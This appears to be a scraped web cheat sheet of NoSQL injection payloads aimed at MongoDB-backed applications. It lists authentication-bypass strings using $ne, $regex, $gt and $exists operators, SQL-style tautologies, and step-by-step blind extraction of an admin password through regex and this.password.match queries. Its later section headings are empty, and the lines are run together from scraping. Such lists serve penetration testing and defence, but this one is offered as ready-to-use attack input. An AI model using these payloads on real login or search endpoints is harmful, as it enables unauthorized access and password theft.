NoSQL injection
Exploit
username[$ne]=1$password[$ne]=1 username[$regex]=^adm$password[$ne]=1 username[$regex]=.{25}&pass[$ne]=1 username[$eq]=admin$password[$ne]=1 username[$ne]=admin&pass[$lt]=s username[$ne]=admin&pass[$gt]=s username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 { $where: "this.credits == this.debits" }Basic authentication bypass
username[$ne]=toto&password[$ne]=totousername[$exists]=true&password[$exists]=true{"username": {"$ne": null}, "password": {"$ne": null} }{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }{"username": {"$gt": undefined}, "password": {"$gt": undefined} }SQL - Mongo
Normal sql: ' or 1=1-- -Mongo sql: ' || 1==1// or ' || 1==1%00username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}in URL (if length == 3)username[$ne]=toto&password[$regex]=a.{2}username[$ne]=toto&password[$regex]=b.{2}...username[$ne]=toto&password[$regex]=m.{2}username[$ne]=toto&password[$regex]=md.{1}username[$ne]=toto&password[$regex]=mdpusername[$ne]=toto&password[$regex]=m.*username[$ne]=toto&password[$regex]=md.*in JSON{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}SQL - Mongo
/?search=admin' && this.password%00 --> Check if the field password exists/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password/?search=admin' && this.password && this.password.match(/^a.*$/)%00/?search=admin' && this.password && this.password.match(/^b.*$/)%00/?search=admin' && this.password && this.password.match(/^c.*$/)%00.../?search=admin' && this.password && this.password.match(/^duvj.*$/)%00.../?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 FoundBlind NoSQL
MongoDB Payloads
Brute-force login usernames and passwords from POST login
References
最后更新于
这有帮助吗?